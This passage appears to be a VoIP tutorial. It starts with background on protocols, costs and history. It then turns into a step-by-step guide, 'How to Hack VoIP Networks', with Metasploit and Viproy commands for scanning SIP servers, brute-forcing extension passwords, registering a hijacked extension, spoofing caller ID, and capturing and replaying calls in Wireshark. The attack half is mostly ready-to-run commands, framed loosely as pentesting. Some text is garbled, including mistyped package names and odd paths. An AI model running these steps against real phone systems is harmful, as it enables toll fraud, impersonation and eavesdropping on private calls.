● 323 is a signalling protocol that is used to control and manage
calls.
● Extensible Messaging and Presence Protocol (XMPP) is a
protocol for contact list maintenance, instant messaging and
presence information.
9. 9
● Skinny is another signalling protocol which is proprietary to Cisco.
● Session Description Protocol (SDP) is used for initiating and
announcing sessions for multimedia communications, as well as
WebSocket transports.
Advantages and disadvantages of VoIP
Benefits of VoIP include:
● Lower cost. The price is lower than typical phone bills.
● Higher-quality sound. With uncompressed data, audio is less
muffled or fuzzy.
● Access for remote workers. Suitable for employees who work
remotely as they have a number of options to call into meetings or
communicate with other teammates.
● Added features. These features include call recording, queues,
custom caller ID or voicemail to e-mail.
● Low international rates. When a landline makes an international
call, it rents the wired circuit for the call to transfer overseas. VoIP
doesn't require a wired line and uses the internet to make calls,
which means it's treated like expected traffic and is less
expensive.
Despite these advantages, VoIP services may still come with some
disadvantages. These disadvantages include:
10. 10
● Not all these services may connect directly to emergency
services.
● VoIP needs a high-speed internet connection.
● Services will not work during power outages.
● There may be a lack of directory assistance depending on the
VoIP service.
11. 11
History of VoIP
VoIP historically referred to using internet protocols to connect private
branch exchanges (PBXs) but is now used interchangeably with IP
telephony. Paul Baran and other researchers worked on early
developments of packet network designs. In 1973, Danny Cohen was the
first to demonstrate a form of packet voice over an early ARPANET. One
year later, the first successful real-time conversation was had over
ARPANET. In 1977, UDP was added to carry real-time traffic three years
after this.
The 1990s
In 1991, the first VoIP application released was Speak Freely. A year later,
soft-launched a desktop conferencing product, Communique. Communique
notably included options for video conferences. InSoft is often credited for
creating the first generation of commercial VoIP services in the United
States.
In 1994, the FCC required VoIP providers to comply with the
Communications Assistance for Law Enforcement Act of 1994. In addition,
VoIP providers had to now contribute to the Universal Service Fund.
In 1995, Intel, Microsoft and Radvision began to standardize VoIP systems.
One year later, the ITU-T developed standards for transmission and
signalling voice over IP networks, creating the H.323 standard. The G.729
standard is also introduced. SIP was standardized in 1999.
The 2000s
12. 12
In 2005, the FCC began imposing VoIP providers to provide 911
emergency call abilities. This began opening up the ability for VoIP to make
and receive calls from traditional telephone networks. Emergency calls do
work differently with VoIP, however. For example, a provider with the proper
hardware infrastructure can find the approximate location of the calling
device -- by using the IP address allocated to the network router.
Another codec, the G.729.1 protocol, was unveiled in 2006. A year after
this, VoIP device manufacturers began to expand in Asia. The SILK codec
was introduced in 2009, notable for being used for voice calling on Skype.
In 2010, Apple introduced the LD-MDCT-based AAC-LD codec, which is
notable for being used in FaceTime.
How to Hack VoIP Networks?
Step 1: SETTING UP THE VIPROY VOIP KIT
Before starting the pentesting process, we need to add the Viproy-VoIP kit to our
Metasploit. We need to install some dependencies. We will first update our fonts and then
install the following dependencies:
- sudo apt update && Sudo apt install -y git Autoconf build-essential libcap-dev
libpq-dev zliblg-dev libsqlite3-dev
Once all dependencies have been installed, it’s time to clone the Viproy Repository on the
Kali Linux system. This contains the modules that we need to add to our Metasploit.
- git clone https://github.com/fozavci/viproy-VoIPkit.git
13. 13
Here we see that we have a lib directory, a module directory, and a kaliinstall script. Before
running the script, pentesting experts recommend manually copying the contents of the
lib directory and module directory to the lib directory and Metasploit modules,
respectively.
- cp lib/MSF/core/auxiliary/* /usr/share/Metasploit-framework/lib/MSF/core/auxiliary/
- cp modules/auxiliary/VoIP/viproy-VoIPkit*
/usr/share/Metasploit-framework/modules/auxiliary/VoIP/
- cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.RB
/usr/share/Metasploit-framework/modules/auxiliary/spoof/cisco/
Now we need to register the modules we copy to the Mixins files located in
/usr/share/Metasploit-framework/lib/MSF/core/Additional/.
- echo "require 'msf/core/auxiliary/sip'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
14. 14
- echo "require 'msf/core/auxiliary/skinny'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
- echo "require 'msf/core/auxiliary/msrp'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
This can be done manually or with another text editor mentioned by pentesting experts.
Next, we clone the precompiled version of GitHub.
- git clone https://github.com/fozavci/metasploit-framework-with-viproy.git
Then we’ll go to the directory and install viproy using gem.
- cd Metasploit-framework-with-viproy/
- gem install bundler
- bundle install
15. 15
It’ll take a little time. After that, we’ll have to reload the modules into Metasploit.
This completes the installation of the Viproy Toolkit, so now you can start with pentesting
on your target VoIP server. In a VoIP network, useful information can be found on VoIP
gateways or servers, IP-PBX systems, VoIP client/phone software, and user extensions.
Let’s take a look at some of the most commonly used fingerprinting and counting tools.
Step 2: SIP SERVER RECOGNITION
Using the Metasploit SIP scanner module to identify systems by providing a single IP or a range
of IP addresses, pentesting experts can scan all VoIP servers and their enabled parameters.
- use auxiliary/scanner/sip/options
- set rhosts 192.168.1.0/24
- run
Here, the scan throws a VoIP server running on 192.168.1.7. We can also see that it has a
User-Agent like "Asterisk", and we can see that it has multiple requests enabled.
Step 3: BRUTE FORCE ATTACK
16. 16
It is then possible to use a brute force attack on the target server to extract your passwords. In
this example, pentesting experts created a username and password dictionary. The next step is
to define the extensions, for which it is possible to select a range from 0000000 to 99999999 and
finally launch the exploit.
- use auxiliary/VoIP/viproy_sip_bruteforce
- set rhosts 192.168.1.7
- set minext 00000000
- set maxext 99999999
- set user_file /home/kali/user.txt
- set pass_file /home/kali/pass.txt
- exploit
Here we can see that ten extensions have been extracted. We will need to ensure that the secret
created for this extension is difficult to guess and thus prevent brute force attacks.
Step 4: ADDITIONAL WORK
17. 17
Now it's time to go one step further and record the extensions so we can initiate calls from the
attacker's computer. We chose extension 99999999. We discovered the secret of 999. Now, all
we had to do was provide the server's IP address, extension and mystery.
As soon as we started the support device, we received a 200 OK response from the server,
which said the extension was registered with this IP address.
- use auxiliary/VoIP/viproy_sip_register
- set rhosts 192.168.1.7
- set username 99999999
- set password 999
- run
Here we need to register the software as we do not have a trunk line, PSTN line or PRI line for
outgoing calls. Therefore, we are testing the extension to invoke it.
Step 5: CALL SPOOFING
Here we can forge the caller ID at will. According to the pentesting experts, we need to set the
login to true so we can log in to the server with secret 999. We also need to set the numeric user
to true so that it can accept numeric extensions.
- use auxiliary/VoIP/viproy_sip_invite
- set rhosts 192.168.1.7
18. 18
- set to 00000000
- set from 99999999
- set login true
- set fromname hacker
- set username 99999999
- set password 999
- set numeric users true
- run
As soon as we launch the auxiliary device, we will see that there is a call from extension
999999999 to extension 00000000, which we configure in our Zoiper client. We can also see that
we have the hacker’s caller ID that we have identified on the assistive device.
Step 6: RECORD MONITORING
19. 19
We can monitor logs on the VoIP server, which contains information about all initiated,
connected, and disconnected calls. According to the pentesting experts, you can check the
default credentials. First, we will connect the server using ssh and then run the following
command to open the Asterisk console panel.
- ssh 192.168.1.7
- asterisk –rvvvvvvvvvvvvvvv
Step 7: TRACK CALLS WITH WIRESHARK
When users initiate a phone call, hackers or researchers could monitor intercepted SIP traffic
using Wireshark. To do this, start Wireshark and select the network adapter on which the VoIP
server is running, and then we begin capturing packets. If you pay more attention, you will see a
tab in the Wireshark menu called "Telephony". The drop-down menu has the first option, VoIP
Calls.
20. 20
As soon as we click on VoIP calls, a window will open with all intercepted calls while listening.
We see a sequence of packets from one IP address to another.
21. 21
If we click the "Flow Sequence" button below, we can see the SIP handshakes we learned in the
introduction. There are multiple SIP transactions in the SIP call flow. A SIP transaction consists
of multiple requests and responses. To group them into a transaction, use the parameter CSeq:
103.
The first is to register the extension. After renewal, the log matches the session settings. Since
extension 99999999, the session consists of an INVITE request from the user to 00000000.
Immediately, the proxy sends TRYING 100 to stop transmission and redirect the request to
extension 00000000.
Extension 00000000 sends a 180 ring when the phone starts ringing and also redirects the proxy
to user A. Finally, an OK 200 message follows the receiving process (extension 000000000
answers the call). After calling the call server, try assigning the RTP ports, and the RTP transport
will start with the SDP configuration (ports, addresses, codecs, etc.). The last transaction
corresponds to the end of the session. This is only done with a BYE request to the proxy and
then redirected to extension 00000000.
22. 22
The given user responds with an OK 200 message to confirm that the last message was
received successfully. The call was initiated by a user named hacker with extension 99999999 to
extension 00000000. The duration of the ring and the current state can be seen in the previous
example. Wireshark collected call packets, and now we can hear the whole call. After
disconnecting, we reproduce all the conversions of the phone call.
When we press the "Play Sequences" button, the output device is requested according to your
laptop driver. Then we can click the Play button and listen to the conversation during this VoIP
call.